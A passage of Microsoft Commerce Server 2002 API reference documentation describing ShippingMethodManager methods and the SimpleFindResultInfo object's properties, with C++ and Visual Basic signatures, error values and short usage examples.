[in] A pointer to a VARIANT that contains a BSTR that becomes the WHERE clause of the query. Pass a null variant if no filtering is wanted. An example filter is "enabled = 1". This will cause the GetInstalledMethodList method to only return enabled shipping methods. To return shipping methods for a specific language, such as English, use the filter "language_id = en".
Filter [Visual Basic]
A String that becomes the WHERE clause of the query. Pass Null if no filtering is wanted. An example filter is "enabled = 1". This will cause the GetInstalledMethodList method to only return enabled shipping methods. To return shipping methods for a specific language, such as English, use "language_id = en".
OrderBy [C++]
[in] A pointer to a VARIANT that contains a BSTR that becomes the ORDER BY clause of the query. Pass a null variant if no ordering is wanted. An example OrderBy argument is "shipping_method_name". This will cause the results to be sorted by the shipping method name.
OrderBy [Visual Basic]
A String that becomes the ORDER BY clause of the query. Pass Null if no ordering is wanted. An example OrderBy argument is "shipping_method_name". This will cause the results to be sorted by the shipping method name.
columns [C++]
[in] A pointer to a VARIANT that contains a SAFEARRAY of column names of the values to retrieve. If an empty array is passed, all columns from the ShippingConfig table are returned.
columns [Visual Basic]
An Array of column names of the values to retrieve. If an empty array is passed, all columns from the ShippingConfig table are returned.
rsReturn [C++]
[out, retval] A pointer to a VARIANT containing an ADO Recordset object with the wanted values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO Recordset object that contains the results of the query.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The rsResult parameter points to valid data only if the method completes successfully.

The GetInstalledMethodList method constructs a SQL query from its three parameters, runs it against the current ShippingConfig table, and returns the result in an ADO Recordset object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oSMM is an initialized Commerce.ShippingMethodManager object.
' sFilter is set to filter.
' sOrderBy is set to null, so there will be no ordering.
' AColumns is an array of column names of the values to retrieve.
' rsMethodList is a recordset.

Set rsMethodList = oSMM.GetInstalledMethodList( _
                             "enabled = 1", _
                             Null, _
                             Array("shipping_method_name") _
                             )

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping

Multi-Lingual Shipping Methods


_ShippingMethodManager::GetMethodInfo Method [C++]

ShippingMethodManager.GetMethodInfo Method [Visual Basic]

Use this method to retrieve information about the database attributes of one or more columns in the ShippingConfig table.

Definition

[C++]
HRESULT _ShippingMethodManager::GetMethodInfo(
  VARIANT* columns,
  VARIANT* rsResult
);
[Visual Basic]
Function GetMethodInfo(
  columns As Variant
) As Variant

Parameters

columns [C++]
[in] A VARIANT containing a SAFEARRAY of BSTR strings containing names of the columns. Specify an empty array to return all columns.
columns [Visual Basic]
An Array of strings containing names of the columns. Specify an empty array to return all columns.
rsResult [C++]
[out, retval] A pointer to a VARIANT containing an ADO Recordset object that contains the information about the requested database columns.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO Recordset object that contains the information about the wanted columns.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The rsResult parameter points to valid data only if the method completes successfully.

This method acts on the loaded shipping method. You must call the LoadMethodInstance or CreateMethodInstance method to load a shipping method into the ShippingMethodManager object before calling this method.

This method returns an ADO Recordset object containing the data type, defined size, and attributes of the requested columns in the ShippingConfig table.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oSMM is an initialized, loaded Commerce.ShippingMethodManager object
' rsResult is an ADO recordset

Set rsResult = oSMM.GetMethodInfo(Array("shipping_method_name", "description", "enabled"))

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


_ShippingMethodManager::Initialize Method [C++]

ShippingMethodManager.Initialize Method [Visual Basic]

Use this method to initialize a ShippingMethodManager object and connect it to a database.

Definition

[C++]
HRESULT _ShippingMethodManager::Initialize(
  VARIANT* connection_string
);
[Visual Basic]
Sub Initialize(
  connection_string As Variant
)

Parameters

connection_string [C++]
[in] A pointer to a VARIANT containing a BSTR with the connection string.
connection_string [Visual Basic]
A String containing the connection string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oSMM is a Commerce.ShippingMethodManager object.
' sConnectionString is a string containing the connection
' string.

oSMM.Initialize(sConnectionString)

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


_ShippingMethodManager::LoadMethodInstance Method [C++]

ShippingMethodManager.LoadMethodInstance Method [Visual Basic]

Use this method to load an instance of a given shipping method.

Definition

[C++]
HRESULT _ShippingMethodManager::LoadMethodInstance(
  VARIANT* methodid
);
[Visual Basic]
Sub LoadMethodInstance(
  methodid As Variant
)

Parameters

methodid [C++]
[in] A pointer to a VARIANT containing a BSTR that is the method ID of the shipping method.
methodid [Visual Basic]
A String containing the method ID of the shipping method.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method loads an instance of the requested shipping method as a single record in the current recordset.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oSMM is an initialized Commerce.ShippingMethodManager object.
' sMethodId is a string containing the method ID.

oSMM.LoadMethodInstance(sMethodId)

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


_ShippingMethodManager::SaveMethodConfig Method [C++]

ShippingMethodManager.SaveMethodConfig Method [Visual Basic]

Use this method to save the current shipping method information, which was set with the SetMethodConfig method.

Definition

[C++]
HRESULT __ShippingMethodManager::SaveMethodConfig(void);
[Visual Basic]
Sub SaveMethodConfig()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The SaveMethodConfig method saves the current shipping method configuration data.

This method acts on the loaded shipping method. You must call the LoadMethodInstance or CreateMethodInstance method to load a shipping method into the ShippingMethodManager object before calling this method.

[Visual Basic]

Example

' oSMM is a Commerce.ShippingMethodManager object.

oSMM.SaveMethodConfig

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


_ShippingMethodManager::SetCachableComponentConfig Method [C++]

ShippingMethodManager.SetCachableComponentConfig Method [Visual Basic]

Use this method to set the configuration data for the pipeline component, and other component information.

Definition

[C++]
HRESULT __ShippingMethodManager::SetCachableComponentConfig(
  VARIANT* progid,
  VARIANT* configdict,
  VARIANT* action,
  VARIANT* actionfriendlyname
);
[Visual Basic]
Sub SetCachableComponentConfig(
  progid As Variant,
  configdict As Variant,
  action As Variant,
  actionfriendlyname As Variant
)

Parameters

progid [C++]
[in] A pointer to a VARIANT containing a BSTR that is the ProgID of the pipeline component.
progid [Visual Basic]
A String containing the ProgID of the pipeline component.
configdict [C++]
[in] A VARIANT containing a Dictionary object holding the configuration information for the component.
configdict [Visual Basic]
A Dictionary object holding the configuration information for the component.
action [C++]
[in] A VARIANT containing a BSTR with the name of the ASP edit page for the shipping component.
action [Visual Basic]
A String containing the name of the ASP edit page for the shipping component.
actionfriendlyname [C++]
[in] A VARIANT containing a BSTR with a friendly name for the ASP edit page for the shipping component.
actionfriendlyname [Visual Basic]
A String containing a friendly name for the ASP edit page for the shipping component.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method acts on the loaded shipping method. You must call the LoadMethodInstance or CreateMethodInstance method to load a shipping method into the ShippingMethodManager object before calling this method.

This method takes the Configuration dictionary for the component and prepares it to be saved along with the current configuration. In addition, this method stores the ProgID, the edit page, and the page friendly names. The settings are not saved until the SaveMethodConfig method is called.

The configdict parameter is typically obtained using IPipelineComponentAdmin::GetConfigDictionary method.

This method uses the IPipelineComponentAdmin interface; therefore, all shipping components configurable by the ShippingMethodManager object must support the IPipelineComponentAdmin interface.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oSMM is a Commerce.ShippingMethodManager object.
' sProgID, sAction, and sActionFrientlyName are strings.
' dConfigDict is a Commerce.Dictionary object.

Call oSMM.SetCachableComponentConfig(sProgID, dConfigDict, _
                 sAction, sActionFriendlyName)

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


_ShippingMethodManager::SetMethodConfig Method [C++]

ShippingMethodManager.SetMethodConfig Method [Visual MethodBasic]

Use this method to set properties, such as name or description, on the current shipping method.

Definition

[C++]
HRESULT _ShippingMethodManager::SetMethodConfig(
  VARIANT* ParametersAndValues
);
[Visual Basic]
Sub SetMethodConfig(
  ParametersAndValues As Variant
)

Parameters

ParametersAndValues [C++]
[in] A pointer to a VARIANT containing a SAFEARRAY that contains name/value pairs in successive elements.
ParametersAndValues [Visual Basic]
An Array containing name/value pairs in successive elements.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method acts on the loaded shipping method. You must call the LoadMethodInstance or CreateMethodInstance method to load a shipping method into the ShippingMethodManager object before calling this method.

The parameter ParametersAndValues contains names and values in alternating elements. Odd subscripts contain the names of items, even subscripts contain the values.

Use the SaveMethodConfig method to save the configuration information entered with this method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oSMM is a Commerce.ShippingMethodManager object.

Call oSMM.SetMethodConfig(Array("shipping_method_name", "My Shipping Method", "description", "Cheapest but slowest shipping method", "enabled", 1))

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


SimpleFindResultInfo Object [C++]

SimpleFindResultInfo Object [Visual Basic]

Use this object to specify search criteria when using the SimpleFind and SimpleDelete methods of the OrderGroupManager object.

ProgID: | Commerce.SimpleFindResultInfo (Externally creatable)
COM Class Name: | SimpleFindResultInfo
Type Library Name: | Microsoft Commerce 2002 OrderGroup Type Library
DLL Name: | requisition.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _SimpleFindResultInfo
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the _SimpleFindResultInfo interface to access the properties and methods of the SimpleFindResultInfo object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Properties

[C++]
Property | Type | Description
Columns | VARIANT | Specifies a custom set of columns to be returned by the OrderGroupManager SimpleFind method.
JoinLineItemInfo | VARIANT_BOOLEAN | Specifies whether to join the OrderFormLineItems table with the results.
JoinOrderFormInfo | VARIANT_BOOLEAN | Specifies whether the OrderFormHeader table is joined in the results.
OrderGroupSortColumn | VARIANT | Specifies the column name to sort on.
PageNumber | Long | Specifies the page number of the resultset to show if the resultset exceeds the PageSize.
PageSize | Long | Specifies the page size.
SortDirection | VARIANT | Specifies the sort direction.
[Visual Basic]
Property | Type | Description
Columns | Variant | Specifies a custom set of columns to be returned by the OrderGroupManager SimpleFind method.
JoinLineItemInfo | Boolean | Specifies whether to join the OrderFormLineItems table with the results.
JoinOrderFormInfo | Boolean | Specifies whether the OrderFormHeader table is joined in the results.
OrderGroupSortColumn | Variant | Specifies the column name to sort on.
PageNumber | Long | Specifies the page number of the resultset to show if the resultset exceeds the PageSize.
PageSize | Long | Specifies the page size.
SortDirection | Variant | Specifies the sort direction.

Remarks

The following table shows the data returned by the OrderGroupManager SimpleFind method when it has been passed to the SimpleFindResultInfo object with the JoinOrderFormInfo and JoinLineItemInfo properties set to the indicated values.

JoinOrderFormInfo | JoinLineItemInfo | SimpleFind Method Data Returned
False | False | One record for each OrderGroup that meets the search criteria. Returns OrderGroup data only. The default setting is False.
True | False | One record for each OrderForm that meets the search criteria. Returns OrderGroup and OrderForm data.
True | True | One record for each line item that meets the search criteria. Returns OrderGroup, OrderForm, and line item data.
False | True | One record for each line item that meets the search criteria. Returns OrderGroup, OrderForm, and line item data.

See Also

[C++] Business Process Objects

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager Object

[C++] OrderGroup Object

[C++] OrderForm Object

[Visual Basic] Business Process Objects

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager Object

[Visual Basic] OrderGroup Object

[Visual Basic] OrderForm Object


_SimpleFindResultInfo Properties [C++]

SimpleFindResultInfo Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Columns | VARIANT | Specifies a custom set of columns to be returned by the OrderGroupManager SimpleFind method.
JoinLineItemInfo | VARIANT_BOOLEAN | Specifies whether to join the OrderFormLineItems table with the results.
JoinOrderFormInfo | VARIANT_BOOLEAN | Specifies whether the OrderFormHeader table is joined in the results.
OrderGroupSortColumn | VARIANT | Specifies the column name to sort on.
PageNumber | Long | Specifies the page number of the resultset to show if the resultset exceeds the PageSize.
PageSize | Long | Specifies the page size.
SortDirection | VARIANT | Specifies the sort direction.
[Visual Basic]
Property | Type | Description
Columns | Variant | Specifies a custom set of columns to be returned by the OrderGroupManager SimpleFind method.
JoinLineItemInfo | Boolean | Specifies whether to join the OrderFormLineItems table with the results.
JoinOrderFormInfo | Boolean | Specifies whether the OrderFormHeader table is joined in the results.
OrderGroupSortColumn | Variant | Specifies the column name to sort on.
PageNumber | Long | Specifies the page number of the resultset to show if the resultset exceeds the PageSize.
PageSize | Long | Specifies the page size.
SortDirection | Variant | Specifies the sort direction.


_SimpleFindResultInfo::get_Columns, put_Columns Property [C++]

SimpleFindResultInfo.Columns Property [Visual Basic]

The Columns property is a read/write Variant that specifies a custom set of columns to be returned by the SimpleFind method. The columns property, if specified, should be a string of comma-separated column names. If the property is left Null, SimpleFind will return a standard set of columns.

Definition

[C++]

Get method:

HRESULT _SimpleFindResultInfo::get_Columns(
  VARIANT* Columns
);

Put method:

HRESULT _SimpleFindResultInfo::put_Columns(
  VARIANT* Columns
);
[Visual Basic]
Property Columns As Variant

Parameters

Columns [C++]
[in] When putting the property, a VARIANT that contains the names of the columns to return in addition to the default columns.
[out, retval] When getting the property, a VARIANT used to return the names of the columns in addition to the default columns.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The Columns parameter contains valid data only if the property is accessed successfully.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] Requirements for using this property are listed in SimpleFindResultInfo Object.

[Visual Basic] Requirements for using this property are listed in SimpleFindResultInfo Object.

See Also

[C++] SimpleFindResultInfo Object

[Visual Basic] SimpleFindResultInfo Object


_SimpleFindResultInfo::get_JoinLineItemInfo, put_JoinLineItemInfo Property [C++]

SimpleFindResultInfo.JoinLineItemInfo Property [Visual Basic]

The JoinLineItemInfo property is a read/write Boolean that indicates whether to join the OrderFormLineItems table with the results.

Definition

[C++]

Get method:

HRESULT _SimpleFindResultInfo::get_JoinLineItemInfo(
  VARIANT_BOOL* JoinLineItemInfo
);

Put method:

HRESULT _SimpleFindResultInfo::put_JoinLineItemInfo(
  VARIANT_BOOL JoinLineItemInfo
);
[Visual Basic]
Property JoinLineItemInfo As Boolean

Parameters

JoinLineItemInfo [C++]
[in] When putting the property, a VARIANT BOOLEAN that specifies whether the OrderFormLineItems table is to be joined with the results. A value of True specifies that the OrderFormLineItems table will be joined. A value of False specifies that it will not be joined.
[out, retval] When getting the property, a VARIANT BOOLEAN that indicates whether the OrderFormLineItems table is to be joined with the results. A value of True indicates that the OrderFormLineItems table will be joined. A value of False indicates that it will not be joined.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The JoinLineItemInfo parameter contains valid data only if the property is accessed successfully.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] Requirements for using this property are listed in SimpleFindResultInfo Object.

[Visual Basic] Requirements for using this property are listed in SimpleFindResultInfo Object.

See Also

[C++] SimpleFindResultInfo Object

[Visual Basic] SimpleFindResultInfo Object


_SimpleFindResultInfo::get_JoinOrderFormInfo, put_JoinOrderFormInfo Property [C++]

SimpleFindResultInfo.JoinOrderFormInfo Property [Visual Basic]

The JoinOrderFormInfo property is a read/write Boolean that indicates whether the OrderFormHeader table is joined in the results.

Definition

[C++]

Get method:

HRESULT _SimpleFindResultInfo::get_JoinOrderFormInfo(
  VARIANT_BOOL* JoinOrderFormInfo
);

Put method:

HRESULT _SimpleFindResultInfo::put_JoinOrderFormInfo(
  VARIANT_BOOL JoinOrderFormInfo
);
[Visual Basic]
Property JoinOrderFormInfo As Boolean

Parameters

JoinOrderFormInfo [C++]
[in] When putting the property, a VARIANT BOOLEAN that specifies whether the OrderFormHeader table is to be joined with the results. A value of True specifies that the OrderFormHeader table will be joined. A value of False specifies that it will not be joined.
[out, retval] When getting the property, a VARIANT BOOLEAN that indicates whether the OrderFormHeader table is to be joined with the results. A value of True indicates that the OrderFormHeader table will be joined. A value of False indicates that it will not be joined.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The JoinOrderFormInfo parameter contains valid data only if the property is accessed successfully.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] Requirements for using this property are listed in SimpleFindResultInfo Object.

[Visual Basic] Requirements for using this property are listed in SimpleFindResultInfo Object.

See Also

[C++] SimpleFindResultInfo Object

[Visual Basic] SimpleFindResultInfo Object


_SimpleFindResultInfo::get_OrderGroupSortColumn, put_OrderGroupSortColumn Property [C++]

SimpleFindResultInfo.OrderGroupSortColumn Property [Visual Basic]

The OrderGroupSortColumn property is a read/write Variant that contains the column name on which to sort.

Definition

[C++]

Get method:

HRESULT _SimpleFindResultInfo::get_OrderGroupSortColumn(
  VARIANT* OrderGroupSortColumn
);

Put method:

HRESULT _SimpleFindResultInfo::put_OrderGroupSortColumn(
  VARIANT* OrderGroupSortColumn
);
[Visual Basic]
Property OrderGroupSortColumn As Variant

Parameters

OrderGroupSortColumn [C++]
[in] When putting the property, a VARIANT that contains the name of the column on which to sort.
[out, retval] When getting the property, a VARIANT used to return the name of the column on which to sort.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The OrderGroupSortColumn parameter contains valid data only if the property is accessed successfully.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] Requirements for using this property are listed in SimpleFindResultInfo Object.

[Visual Basic] Requirements for using this property are listed in SimpleFindResultInfo Object.

See Also

[C++] SimpleFindResultInfo Object

[Visual Basic] SimpleFindResultInfo Object


_SimpleFindResultInfo::get_PageNumber, put_PageNumber Property [C++]

SimpleFindResultInfo.PageNumber Property [Visual Basic]

The PageNumber property is a read/write Long that contains the page number to jump to. This property setting must be coordinated with the PageSize property.

Definition

[C++]

Get method:

HRESULT _SimpleFindResultInfo::get_PageNumber(
  long* PageNumber
);

Put method:

HRESULT _SimpleFindResultInfo::put_PageNumber(
  long PageNumber
);
[Visual Basic]
Property PageNumber As Long

Parameters

PageNumber [C++]
[in] When putting the property, a long that contains the page number.
[out, retval] When getting the property, a long used to return the page number.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The PageNumber parameter contains valid data only if the property is accessed successfully.

Use this property to implement a paging mechanism that allows you to page through your orders. (These orders could be viewed in a List Sheet, for example.)

This property is initialized to 1.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] Requirements for using this property are listed in SimpleFindResultInfo Object.

[Visual Basic] Requirements for using this property are listed in SimpleFindResultInfo Object.

See Also

[C++] SimpleFindResultInfo Object

[Visual Basic] SimpleFindResultInfo Object


_SimpleFindResultInfo::get_PageSize, put_PageSize Property [C++]

SimpleFindResultInfo.PageSize Property [Visual Basic]

The PageSize property is a read/write Long that contains the page size. This property setting must be coordinated with the PageNumber property.

Definition

[C++]

Get method:

HRESULT _SimpleFindResultInfo::get_PageSize(
  long* PageSize
);

Put method:

HRESULT _SimpleFindResultInfo::put_PageSize(
  long PageSize
);
[Visual Basic]
Property PageSize As Long
[Java]

Get method:

public int getPageSize();

Set method:

public void setPageSize(
  int PageSize
);

Parameters

PageSize [C++]
[in] When putting the property, a long that contains the page size.
[out, retval] When getting the property, a long used to return the page size.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The PageSize parameter contains valid data only if the property is accessed successfully.

Use this property to implement a paging mechanism that allows you to page through your orders. (These orders could be viewed in a List Sheet, for example.)

This property defaults to 20.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] Requirements for using this property are listed in SimpleFindResultInfo Object.

[Visual Basic] Requirements for using this property are listed in SimpleFindResultInfo Object.

See Also

[C++] SimpleFindResultInfo Object

[Visual Basic] SimpleFindResultInfo Object


_SimpleFindResultInfo::get_SortDirection, put_SortDirection Property [C++]

SimpleFindResultInfo.SortDirection Property [Visual Basic]

The SortDirection property is a read/write Variant that contains the sort direction. The value of this field can be "asc" for ascending or "desc" for descending.

Definition

[C++]

Get method:

HRESULT _SimpleFindResultInfo::get_SortDirection(
  VARIANT* SortDirection
);

Put method:

HRESULT _SimpleFindResultInfo::put_SortDirection(
  VARIANT* SortDirection
);
[Visual Basic]
Property SortDirection As Variant

Parameters

SortDirection [C++]
[in] When putting the property, a VARIANT that contains the sort direction.
[out, retval] When getting the property, a VARIANT used to return the sort direction.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The SortDirection parameter contains valid data only if the property is accessed successfully.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] Requirements for using this property are listed in SimpleFindResultInfo Object.

[Visual Basic] Requirements for using this property are listed in SimpleFindResultInfo Object.

See Also

[C++] SimpleFindResultInfo Object

[Visual Basic] SimpleFindResultInfo Object


SimpleFindSearchInfo Object [C++]

SimpleFindSearchInfo Object [Visual Basic]

